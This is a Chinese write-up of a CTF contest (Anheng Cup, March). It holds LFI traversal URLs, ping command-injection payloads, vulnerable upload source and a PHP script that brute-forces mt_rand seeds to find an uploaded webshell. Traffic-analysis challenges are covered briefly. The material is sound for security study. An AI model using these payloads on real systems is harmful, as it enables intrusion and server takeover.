#前言

这次做的还挺多的,只有个Web300没做出来,排名由上次60+进步到这次16名(最后三分钟掉了5名),感觉还是不错的。但是很明显,流量题有很大的运气成分。做完流量题之后还剩一个多小时,水了水Misc,然而之前从来没做过,不知道有什么套路,到最后也没做出来。看看排名靠前的大佬基本就是Web+Crypto+Misc+Re+流量,我的知识面还是太窄了。下面好好加油吧,Re也要学学了。

#Web

##Web100-WebScan:

进入网站后先看一下有哪些网页,其中有个网页的url中有个&file=.,具体的文件名我没有记录,不过估计就是LFI漏洞了(本地文件包含)。尝试一下:

http://192.168.5.25/index.php?act=about&file=../../../../etc/passwd

页面果然返回了/etc/passwd的文件内容。由于这题的hint与Web日志有关,所以就包含一下apache日志试试:

http://192.168.5.25/index.php?act=about&file=../../../../etc/httpd/conf/httpd.conf

出来了,find一下flag:

##Web200-ping也能把你ping挂

这题看到后瞬间想到了二月赛中的一个Web题,题目名也是ping,结果使用命令执行+dnslog做的,所以估计这题也是命令执行了。

进入网页后看到一个输入框,输入ip地址,然后输入框下面会回显ping的结果。

尝试在ip地址后加上一些字符,来执行下一个命令。比如:

1.1.1.1|ls
1.1.1.1 > ls
1.1.1.1; ls
1.1.1.1&ls

反正就是一顿乱揍,到最后的&终于成功回显了:

通过观察ls的回显,发现了一个upload文件夹和一个文件上传的php文件。进入you_find_upload.php页面,就是一个常规的文件上传页面。

上传之后也没啥回显,也不知道文件名。发现上面的导航栏多了个查看源码,点进去之后我忘了是什么样了,反正是把you_find_upload.php源码给你了,源码如下(无关紧要的html代码我就不贴了,太长了):

    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "ä½ è¿ä¸ªå­©å­ï¼too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>

分析之后发现对于上传的文件有个限制,就是文件名必须以.jpg或.png或.gif结尾。上传之后,将文件命名成"随机数字+_+原文件名"。这里发现,就算上穿了图片马,你没有随机数啊!所以还是找不到文件的。

仔细看代码,发现三个关键点:

1.mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这是生成一个随机种子
2.echo mt_rand()
做一次随机运算
3. $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
再做一此随机运算,并将这个随机数作为文件名的一部分。

由此可见,如果第三步的随机数能搞到,那文件名就出来了。可是这个随机数怎么搞?只好求助一下百度,发现mt_rand()生成的是伪随机数,也就是说,只要种子固定,那么每次的的mt_rand()都是固定的。举个例子:

<?php
mt_srand(1);//先给个值为1的种子
echo mt_rand();//输出随机数
echo "<br>";
echo mt_rand();//再次输出随机数
echo "<br>";
echo mt_rand();//再再次输出随机数
?>

输出结果:

1244335972
15217923
1546885062

你再刷新试试,你会发现,不管刷新多少次,生成的随机数都是固定的。因此生成的随机数只跟两个值有关,一个是种子的值,一个是计算的次数。而种子在源代码中有,计算的次数我们也已经知道了(2次,因为第二个mt_rand()用于合成文件名)。所以,基本上文件名就出来了。看一下种子:

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

这个种子是跟时间相关的,可是你echo一下种子你就会发现,种子的值在0~10000之间(并不精确,仅仅是我根据echo大致猜测的)。

整理一下思路,我上面说,随机数只跟两个因素有关,一个是种子,一个是计算的次数。现在已经知道了,种子的值是0~10000,计算的次数是2。所以我们最多只要计算1w次就能找到这个随机数了。方法就是写个php脚本,进行爆破。这里有个小技巧,你可以将同一个文件上传多次,这样爆破的时间会减少很多。上脚本(代码很丑,大佬轻喷):

<?php
/*上传文件名为1.php.jpg*/
$url = 'http://192.168.5.85/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_1.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
} function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}

这样基本就能爆破出我们的文件了,爆出来之后面临的问题就是解析了。众所周知,apache的解析漏洞只能使用apache不认识的后缀名,而这题已经限制死了,必须以图片格式结尾。所以常规办法已经无法继续了(也许因为我菜?),后来尝试1.php.jpg时,没想到竟然成功解析了!这是什么鬼哦!我在t00ls上问了大佬,他们说可能是.htaccess的问题,估计是这样了,在生产环境中应该是遇不到的。

解析成功后用菜刀连一下,发现flag在根目录下(第一次做上传的我,光找这个flag就找了十多分钟)。

##Web300-Bypass

这题没做出来,很辣鸡。登录页面一直要么是username not exists,要么就是非法字符。等等看大佬的WP吧。。

#流量题

这是第一次做流量题,没想到误打误撞三题全做出来了。之前就用过几次Wireshark,并不熟练,所以这次找flag之旅可以说是纯靠手找,毫无章法可言,所以就当故事看吧。。

先po个流量文件: https://pan.baidu.com/s/1saFYvXjCYwj-xZQ4AuY8xg 密码:m06t

##流量100-找黑客IP

一共10个数据包,时间相同,最后六位数字不同。我想查看一下文件修改时间,可是这边全是我的本地下载的时间,所以就只能根据文件名来排序了。

进入文件中,先大体浏览一下,基本都是TCP和HTTP包。随便找一个包,跟踪一下TCP或HTTP流,如果运气好的话就能立马发现蹊跷:

这是一个xss注入,把鼠标移到文字上,Wireshark会自动将这个数据包高亮显示,看一下源IP就ok了。

##流量题200-找发送钓鱼邮件的黑客的邮箱

既然是发邮件,自然要找一下SMTP协议了。在Wireshark过滤栏中输入smtp,看看哪个包里有数据。找到之后继续跟踪TCP流:

##流量题300-找黑客留的后门

这题我是从第一个包一直看到最后一个包,最后在172831中好不容易才找到。先过滤成POST协议,因为文件上传的话一般都是通过POST上传的。然后大致浏览一下POST的地址,以及POST的数据。后来发现请求的这个文件挺可疑:

很有可能是上传文件的php页面。再仔细找找就能发现后门文件了:

安恒杯 3月线上个人赛WriteUp的更多相关文章

  1. 尖峰7月线上技术分享--Hadoop、MySQL

      7月2号晚20:30-22:30 东大博士Dasight分享主题<大数据与Hadoop漫谈> 7月5号晚20:30-22:30  原支付宝MySQL首席DBA分享主题<MySQL ...

  2. 2019嘉韦思杯线上初赛writeup

    1 土肥原贤二 看到页面怀疑是sql注入,写了个4'进去就发生报错.could not to the database You have an error in your SQL syntax; ch ...

  3. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  4. 2018安恒杯11月月赛 MISC

    题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...

  5. ISCC 2018线上赛 writeup

    今天有机会去ISCC2018参加了比赛,个人的感受是比赛题目整体难度不高,就是脑洞特别大,flag形式不明确,拿到flag后也要猜测flag格式,贼坑 废话不多说,以下是本人的解题思路 MISC 0x ...

  6. DDCTF 2018线上赛writeup

    第一题: d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e ...

  7. RCTF 2018线上赛 writeup

    苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上 ...

  8. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...

  9. 安恒杯11月月赛web题目-ezsql详细记录

    通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass  linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...

随机推荐

  1. Spring_boot入门(1)

    Spring boot 将很多东西都集成在一起了,搭建maven项目的时候只需要引入很少的依赖就可以实现项目的搭建. 1.搭建maven项目结构 2.引入Spring boot 依赖 直接去官网找就可 ...

  2. Guns(开源后台管理系统框架)实战(一)——开发环境搭建

    1. 开发环境搭建 1.1. 开发环境要求 1.2. 配置Maven 1.3. 配置MySQL 1.4. Git克隆项目 1.5. Eclipse导入系统 2. 小结 3. 参考引用 1. 开发环境搭 ...

  3. BZOJ_4819_[Sdoi2017]新生舞会_01分数规划+费用流

    BZOJ_4819_[Sdoi2017]新生舞会_01分数规划+费用流 Description 学校组织了一次新生舞会,Cathy作为经验丰富的老学姐,负责为同学们安排舞伴.有n个男生和n个女生参加舞 ...

  4. 记一次MySQL数据库拒绝访问的解决过程

    问题背景 用wordpress搭博客,数据库采用MySQL.为了调试方便,创建账户my_account ,允许它从任意主机访问数据库. CREATE USER `my_account`@'%' IDE ...

  5. 设计模式-策略模式(strategy pattern)

    来说说设计模式吧,最近开始看设计模式,觉得挺有意思的.设计模式网上的资料的挺多的,而且大部分是大家相互转来转去的.感觉也挺没有意思.我就自己写一点吧! 开始 学习设计模式,我会用自己的画的UML类图来 ...

  6. FreemarkerJavaDemo【Android将表单数据生成Word文档的方案之一(基于freemarker2.3.28,只能java生成)】

    版权声明:本文为HaiyuKing原创文章,转载请注明出处! 前言 这个方案只能在java中运行,无法在Android项目中运行.所以此方案是:APP将表单数据发送给后台,后台通过freemarker ...

  7. 『Möbius函数与Möbius反演』

    Möbius函数 定义 设正整数\(n\)算数基本定理分解后为\(n=\prod_{i=1}^{k}p_i^{a_i}\),定义函数 \[ \mu(n)= \begin{cases} 0\ \ (\e ...

  8. 一大波开发者福利来了,一份微软官方Github上发布的开源项目清单等你签收

    目录 微软Github开源项目入口 微软开源项目受欢迎程度排名 Visual Studio Code TypeScript RxJS .NET Core 基础类库 CNTK Microsoft cal ...

  9. 我的Windows装机必备软件与生产力工具

    目录 系统工具 工作学习 开发工具 VS插件 2018年12月21日,最近要装新电脑,借此将自己常用的工具总结一下. 系统工具 wox,软件快速启动工具,有翻译等插件 everything,本地文件文 ...

  10. 用C语言做一个横板过关类型的控制台游戏

    前言:本教程是写给刚学会C语言基本语法不久的新生们. 因为在学习C语言途中,往往只能写控制台代码,而还能没接触到图形,也就基本碰不到游戏开发. 所以本教程希望可以给仍在学习C语言的新生们能提前感受到游 ...